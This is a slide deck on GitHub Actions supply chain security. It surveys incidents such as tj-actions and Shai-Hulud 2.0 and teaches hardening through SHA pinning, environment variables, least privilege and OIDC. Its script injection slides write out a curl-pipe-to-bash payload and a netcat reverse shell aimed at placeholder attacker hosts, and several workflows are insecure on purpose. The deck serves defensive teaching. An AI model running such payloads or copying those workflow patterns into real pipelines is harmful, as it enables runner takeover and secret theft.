GitHub Actions Security

From CI Nightmare to Supply Chain Sentinel



Niek Palm

GitHub Actions Security

From CI Nightmare to Supply Chain Sentinel



Niek Palm

Weaponizing and Hardening

GitHub Actions



Niek Palm

Niek Palm

Niek Palm

Principal Engineer Philips

🔗 Software Supply Chain

Software Supply Chain

⚠️ Why It's a Prime Target

  • Compromise once, deploy everywhere
  • Massive multiplier effect
  • Trusted relationships exploited
  • Hard to detect before it's too late

💥 Supply Chain Attacks in the Wild

🔥

SolarWinds

2020

Compromised build system injected malicious code into legitimate software updates affecting 18,000+ organizations including government agencies and Fortune 500 companies

tj-actions/changed-files

2025

Attackers compromised maintainer bot token, manipulated version tags to point to malicious commits, exfiltrating CI/CD secrets from 23,000+ repositories using this popular GitHub Action

🎭

S1ngularity (Nx)

2025

Exploited pull_request_target injection to steal npm token, published malicious Nx packages, weaponized AI tools for secrets exfiltration, exposed 1000s of secrets and private repos

🪱

Shai-Hulud 2.0

2025

Massive npm supply-chain campaign compromising 700+ packages from Zapier, PostHog, Postman. Preinstall malware exfiltrated secrets across 25,000+ GitHub repos, spreading at 1,000 repos per 30 minutes

🤖 What is GitHub Actions?

"GitHub Actions automates your software development workflow, letting you build, test, and deploy code directly from your GitHub repository. Its tight integration with GitHub has made it one of the most widely adopted CI/CD solutions."

🤖 What is GitHub Actions?

🏃‍♂️ Runners

  • GitHub-hosted or self-hosted
  • Multiple OS support (Linux, Windows, macOS)

🚀 Jobs & Steps

  • Jobs: Isolation level - independent units
  • Steps: Individual tasks within a job
  • Run sequentially or in parallel

⚙️ Example workflow

name: GitHub Actions Example

on: [push, pull_request]                           # 1

jobs:
  build:
    runs-on: [ubuntu-latest]                       # 2
    
    steps:
    - name: Checkout code
      uses: actions/checkout@v5                    # 3
        
    - name: Install dependencies
      run: npm ci                                  # 4
      
    - name: Run tests
      run: npm test                                # 4

🔍 What's happening?

  1. Trigger: on push or pull_request
  2. Runner: GitHub hosted fleet
    ubuntu-latest
  3. Third party action: checkout@v5
  4. Run script: npm ...

🧱 What is a GitHub Action?

🧱 LEGO Bricks in Your Pipeline

  • Building blocks you snap together
  • Each action does one thing well
  • Combine them to build complex workflows

⚡ Available Runtimes

  • Node.js - JavaScript actions
  • Docker - Containerized actions
  • Shell - Composite run steps

🎯 Run in Context of a Job

  • Actions execute as steps within jobs
  • Share the same runner environment
  • Access job-level variables and secrets

📦 Distribution Channel

  • GitHub Repository or Package - Distribution method
  • Reference: owner/repo@version
  • Can be public or private

🚀 Actions Everywhere

From development to deployment - GitHub Actions powers our entire software lifecycle

🏗️

Build & compile code

🐳

Build containers

🧪

Run unit tests

🎭

Run E2E tests

🛡️

Security scanning

🔍

Code quality checks

📦

Publish packages

☁️

Deploy to cloud

🔄

Manage infrastructure

🚀

Release automation

📚

Generate docs

🌐

Deploy static sites

🔄

Update dependencies

🏷️

Tag & version

🤖

Automate workflows

📊

Generate reports

📧

Send notifications

🔐

Manage secrets

🎯

Issue triage

🌍

Multi-platform builds

🎯 Why target GitHub Actions?

GitHub Actions Target
  • 📂 Source Code Access
  • 📦 Publishing Packages
  • 🔐 Secrets & Credentials

🤔 What can go wrong?

name: Check Changed Files

on: [pull_request]

jobs:
  check-changes:
    runs-on: ubuntu-latest
    steps:
    - uses: actions/checkout@v4
    
    - name: Get changed files
      uses: tj-actions/changed-files@v45
      id: changed-files
      with:
        files: |
          src/**
          docs/**
    
    - name: Process changes
      run: echo "Changed files: ${{ steps.changed-files.outputs.all_changed_files }}"

🔥 What can go wrong?

name: Check Changed Files

on: [pull_request]

jobs:
  check-changes:
    runs-on: ubuntu-latest
    steps:
    - uses: actions/checkout@v4.0.0
    
    - name: Get changed files
      uses: tj-actions/changed-files@v45.0.7
      id: changed-files
      with:
        files: |
          src/**
          docs/**
    
    - name: Process changes
      run: echo "Changed files: ${{ steps.changed-files.outputs.all_changed_files }}"

🎯 Repository takeover

🚀 Push Malicious Code

✨ Create Releases

🏷️ Rewrite Tags

Repository Takeover Attack

✅ Secure third-party actions

🔒 Lock SHA

🔍 Verify Integrity

🤖 Manage with Dependabot

🛡️ Minimal Privilege

name: Secure Workflow

on: [pull_request]

jobs:
  secure-build:
    runs-on: ubuntu-latest
    steps:
      # SHA-pinned action for security
    - uses: actions/checkout@08c690...      # v5.0.0 ← SECURE
    
    - name: Get changed files
      # SHA-pinned action for security
      uses: tj-actions/changed-files@24d32f... # v47 ← SECURE
      
    - name: Process changes
      ...

🔐 Trust Patterns for Third-Party Components

🎯 How to Trust

  • Lock to tag - Mutable (@v1.2.3)
  • Pin to SHA - Immutable (@a1b2c3d)
  • Fork and own - Full control, your maintenance
⚠️ Lock third-party component (Docker, PyPI, NuGet ...)

🔍 What to Assess

  • Maintenance - Active development?
  • Permissions - What access needed?
  • Dependencies - What does it use?
  • Reputation - Verified creator?
  • Security track record - Past issues?
  • Scan - Automated analysis
💡 Use OSSF Scorecard

🤔 What can go wrong?

name: Discussion Create
on:
  discussion:
jobs:
  process:
    env:
      RUNNER_TRACKING_ID: 0
    runs-on: self-hosted
    steps:
      - uses: actions/checkout@v5
      - name: Handle Discussion
        run: echo ${{ github.event.discussion.body }}

🔥 Script injection attack

💀 Malicious title

Hello"; curl evil.com/backdoor | bash; echo "

� What Happens

echo "Issue: Hello"; curl evil.com/backdoor | bash; echo ""

Commands executed on your runner!

💀 Malicious description

Test"; nc attacker.com 4444 -e /bin/bash; echo "

� What Happens

echo "Description: Test"; nc attacker.com 4444 -e /bin/bash; echo ""

Opens reverse shell to attacker!

Script injection

🔐 Secret theft

💉 Malicious injection

🏗️ Compromised infrastructure

Part of

Shai-Hulud 2.0
Supply Chain Attack

github.event.issue.title
github.event.issue.body
github.event.pull_request.title
github.event.pull_request.body
github.event.comment.body
github.event.review.body
github.event.commits.*.message
github.event.head_commit.message
github.event.head_commit.author.email
github.event.commits.*.author.email
github.event.pull_request.head.ref
github.event.pull_request.head.label
github.head_ref
github.event.commits.*.author.name
github.event.head_commit.author.name

⚠️ User input ⚠️

👉 Always sanitize user input 👈

✅ Use intermediate environment variable

env:
  TITLE: ${{ github.event.issue.title }}
steps:
  - run: echo "$TITLE"
User Input Security

✅ The safe way

name: Discussion Create
on:
  discussion:
jobs:
  process:
    runs-on: self-hosted
    env:                                                    
      DISCUSSION_BODY: ${{ github.event.discussion.body }}.   # ← NEW
    steps:
      - uses: actions/checkout@v5
      - name: Handle Discussion
        run: echo $DISCUSSION_BODY                            # ← CHANGED

🤔 What can go wrong?

name: Build PR
on:
  pull_request:
  pull_request_target:

jobs:
  build:
    if: ${{ startsWith(github.event_name, 'pull_request') }}  
    runs-on: ubuntu-latest
    steps:
    - uses: actions/checkout@v4
      with:
        ref: ${{ github.event.pull_request.head.sha }}
        
    - name: Build
      env:
        GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}  
        API_KEY: ${{ secrets.API_KEY }} 
      run: echo "Building ${{ github.event.pull_request.base.ref }}"  

🤔 What can go wrong?

name: Build PR
on:
  pull_request:
  pull_request_target:  # ← DANGEROUS!

jobs:
  build:
    # Ineffective condition!
    if: ${{ startsWith(github.event_name, 'pull_request') }}  
    runs-on: ubuntu-latest
    steps:
    - uses: actions/checkout@v4
      with:
        # untrusted code in trusted environment!
        ref: ${{ github.event.pull_request.head.sha }}
        
    - name: Build
      env:
        # Secrets exposed!
        GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}  
        API_KEY: ${{ secrets.API_KEY }} 
      # Injection!
      run: echo "Building ${{ github.event.pull_request.base.ref }}"  

Nx "s1ngularity" attack

🔐 Secret theft

👁️ Private source code exposed

🎯 Secrets and private sources

🚀 1000s secrets leaked

👥 480 users published private repositories

🏷️ 500 repos from a company exposed

Repository Takeover Attack

🔥 The pull_request_target problem

# DON'T DO THIS!
on: pull_request_target  # ← Runs in trusted context

jobs:
  build:
    runs-on: ubuntu-latest
    steps:
    - uses: actions/checkout@v3
      with:
        # ← Untrusted code!
        ref: ${{ github.event.pull_request.head.sha }} 

✨ GitHub Update (Dec 8, 2025)

pull_request_target now always uses the default branch for workflow source, preventing outdated workflows from being executed. Note: This only limits the attack surface but doesn't eliminate the risk.

⚠️ Critical Security Issue

You are giving write permissions and secrets access to untrusted code. Any building step, script execution, or action call could be used to compromise the entire repository

🗄️ Cache Poisoning Risk

Cache Poisoning Attack

⚠️ Caches Are Shared

  • Pull requests can access caches from the base branch
  • Attackers can create poisoned caches that persist and affect subsequent builds

🔥 Critical: Release Workflows

Never rely on caches for security-sensitive workflows like building releases or deploying to production. A poisoned cache can inject malicious code into your build artifacts.

🪱 Shai-Hulud 2.0: The Supply Chain Tsunami

🎯 Attack Mechanism

  • pull_request_target start of infections
  • Preinstall hooks execute before code runs
  • Exfiltrates secrets via cross-victim GitHub accounts
  • Worm-like spread - replicate automatically (NPM)

🔗 Common Pattern

All recent supply chain attacks (tj-actions, S1ngularity, Shai-Hulud 2.0) share the same goal: exfiltrate secrets and GitHub tokens to enable repository takeover, malicious releases, or comproposie other enviorments like cloud

Supply Chain Attack Visualization
source: GitGuardian

💥 Shai-Hulud 2.0 Impact

1,195+
Distinct orgs (banks, government bodies, and Fortune 500)
25,000+
Malicious repositories created for exfiltration
700+
NPM packages infiltrated with malicious code
33,000+
Unique secrets exposed (GitHub PAT, Cloud, ...)
Sources: Entro (organizations), Wiz (repos & packages), GitGuardian (secrets)

🔥 Implicit GitHub token problem

name: Deploy Package

on: [push]

jobs:
  deploy:
    runs-on: ubuntu-latest
    steps:
    - uses: actions/checkout@v4
    
    - name: Publish to registry
      env:
        GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
      run: |
        npm publish
        git tag v1.0.0
        git push --tags

🔑 Implicit Broad Access

GitHub injects a short lived token into your workflow. Default permission depending on settings.

💀 What Can Go Wrong

Malicious code can modify your repository, create releases, delete branches, access secrets, and compromise your entire codebase.

✅ Explicit GitHub token permissions

name: Deploy Package

on: [push]

permissions: {} # no permissions by default
jobs:
  deploy:
    runs-on: ubuntu-latest
    permissions:
      contents: read # read-only access to repository
    steps:
    - uses: actions/checkout@v4
    
    - name: Publish to registry
      env:
        GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
      run: |
        npm publish
        git tag v1.0.0
        git push --tags # fails - no write permissions!

🛡️ Principle of Least Privilege

Default to no permissions and grant minimal required access on job level.

✅ Better Security

Failed operations are better than compromised repositories. Add specific permissions only when needed.

🔥 The problem with long-lived secrets

📋 Rotate to expire

💥 High Blast Radius

jobs:
  deploy-with-keys:
    runs-on: ubuntu-latest
    environment: demo

    steps:
      - name: Checkout code
        uses: actions/checkout@...

      - name: Set up AWS
        uses: aws-actions/configure-aws-credentials@...
        with:
          aws-access-key-id: ${{ secrets.AWS_ACCESS_KEY_ID }}
          aws-secret-access-key: ${{ secrets.AWS_SECRET_ACCESS_KEY }}

✅ OIDC short-lived secrets

⏰ Short-lived tokens)

🔄 Automatic rotation per run

jobs:
  deploy-with-oidc:
    runs-on: ubuntu-latest
    environment: demo
    permissions:
      id-token: write

    steps:
      - name: Configure AWS with OIDC
        uses: aws-actions/configure-aws-credentials@...
        with:
          role-to-assume: arn:aws:iam::123:role/minimal-access-role
// AWS Trust Policy

"Statement": [{
  ...
  "Principal": {
      "Federated": "<arn:aws:iam::123:oidc-provider/token.actions.githubusercontent.com>"
  },
  "Action": "sts:AssumeRoleWithWebIdentity",
  "Condition": {
      "StringEquals": {
          "token.actions.githubusercontent.com:sub": "repo:my-org/my-repo:more-conditions"],
          "token.actions.githubusercontent.com:aud": "sts.amazonaws.com"
  ...

✅ Keep secrets safe

🔒 Environment as Boundary

  • Environments create boundaries for secrets
  • Jobs only access assigned environment secrets
  • Protection rules (reviewers, branches, timers)
  • Principle of least privilege
jobs:
  deploy-production:
    environment: production
    runs-on: ubuntu-latest
    steps:
    - name: checkout code
      uses: actions/checkout@v5

    - name: Deploy to production
      env:
        API_KEY: ${{ secrets.PROD_API_KEY }}            
      run: deploy.sh production

🎯 OIDC Best Practices

  • Keep jobs minimal and focused
  • Avoid third-party actions with OIDC jobs
  • Actions inherit GITHUB_TOKEN permissions
  • Strict trust relationships - no wildcards

❌ WRONG

"Condition": {
  "StringEquals": {
    "...:sub": "repo:my-org/project-*",                        
  }
}

✅ GOOD

"Condition": {
  "StringEquals": {
    "...:sub": "repo:my-rog/project-x:environment:production",
  }
}

🔄 Security patterns for GitHub Actions

We've explored common security risks and their solutions

📦

Third-Party Actions

❌ Floating tags can be hijacked

✅ Pin to SHA + use Dependabot

💉

Script Injection

❌ User input directly in run commands

✅ Use environment variables

🎯

Dangerous triggers

❌ Untrusted code + write permissions

✅ Extreme caution with non controlled triggers

🔑

GitHub Token and Secrets

❌ Avoid long lived secrets

✅ Explicit least-privilege permissions

🛡️ Protect by configuration

Allow list for trusted actions

📌

Enforce SHA pinned actions

🔐

Drop GITHUB_TOKEN to read-only permissions

🚫

Be cautious with write tokens in a PR

🔍 GitHub Advanced Security

🛡️

Scan Actions with with GHAS

👀

Review GitHub Actions do not blindly trust

🔓

Unlock GHAS power for secrets & multi-language protection

🔓 Open source static analyzers for GitHub Actions

Community-driven tools to enhance your GitHub Actions security

Zizmor

A dedicated linter for GitHub Actions that provides comprehensive security rules and integrates seamlessly into CI/CD workflows.

Security Focus

🛡️

Checkov

An Infrastructure as Code (IaC) security scanner that analyzes cloud infrastructure configurations to identify and fix security policy violations.

IaC Security

🔍

Action Lint

A general-purpose linter for GitHub Actions workflows focused on syntax validation and ensuring best practices are followed.

Syntax & Quality

🔧 Zizmor static analysis for GitHub Actions

📋

Extensive rule set for comprehensive scanning

⚙️

Highly configurable to fit your needs

🔗

Integrates with GHAS seamlessly

🛠️

Use with CLI, IDE, pre-commit or Actions

📝 Topics not covered in detail

  • ⚠️ Third-party actions
    run in your trusted context
  • ☁️ GitHub runners
    are ephemeral but unrestricted
  • 🏠 Self-hosted runners
    consider hardening and run ephemeral

🎯 Essential principles to protect your pipeline

Pipelines Are Powerful

Your pipelines typically have extensive permissions - they can modify code, access secrets, and deploy to production. Treat them with the respect they deserve.

🛡️

Power & Responsibility

With great power comes great responsibility. GitHub Actions gives you incredible capabilities, but every workflow is a potential attack vector if not properly secured.

🔍

Guard What You Allow

Be selective about third-party actions, untrusted input, and dangerous triggers. Pin versions, validate inputs, and use least privilege.

🔧

Empower Yourself with Tools

Use GHAS and Zizmor to gate vulnerabilities early. Automate security scanning and block unsafe code in your workflow.

🔗 Resources and links

QR Code

Scan for resources

Questions

Thank you




🔥 SolarWinds (2020) What Happened: Hackers compromised SolarWinds' build system and injected SUNBURST backdoor into legitimate Orion software updates. 18,000+ organizations installed the malicious update thinking it was official. Key Lesson: Your build pipeline IS your product. If attackers control your CI/CD, they control what gets shipped to customers. Build system security = product security. ⚡ tj-actions/changed-files (2025) What Happened: Compromised maintainer bot token, manipulated git tags to point to malicious commits. 23,000+ repos using @latest tags automatically pulled and executed malicious code that stole their CI secrets. Key Lesson: Never use floating tags (@latest, @main, @v1) in production. Always pin GitHub Actions to specific commit SHAs. Floating tags = uncontrolled automatic updates = potential automatic compromise. 🎭 S1ngularity - Nx (2025) What Happened: Exploited pull_request_target injection to steal npm token, published malicious Nx packages, which were then auto-installed by AI coding tools (Cursor, Cline), exfiltrating secrets from thousands of developer machines and CI environments. Key Lesson: pull_request_target gives untrusted code write access - extremely dangerous. AI tools amplify attack scale by auto-installing packages. One vulnerable workflow + package registry access = mass compromise at machine speed. 🪱 Shai-Hulud 2.0 (2025) What Happened: Massive npm supply-chain campaign compromising 700+ packages from major projects (Zapier, ENS Domains, PostHog, Postman). Preinstall malware executed during npm install, exfiltrating secrets and tokens across dev machines and CI/CD pipelines. Attack spread rapidly at ~1,000 new repos every 30 minutes, affecting 25,000+ GitHub repositories across ~500 users. Stolen data was cross-published, meaning victim credentials appeared in unaffiliated GitHub accounts. Key Lesson: Preinstall hooks can execute before your code even runs - widening attack surface to both dev and CI/CD environments. The scale and automation of modern supply chain attacks is unprecedented. With 27% of cloud environments potentially exposed, even popular, trusted packages can be weaponized. Immediate investigation required for npm-based environments. Meta-lesson across all four: Supply chain attacks exploit trust and automation. The things that make development fast (auto-updates, trusted dependencies, CI/CD automation) become attack vectors when compromised. Defense requires: pin versions, minimize trust, verify everything, and monitor the entire dependency chain.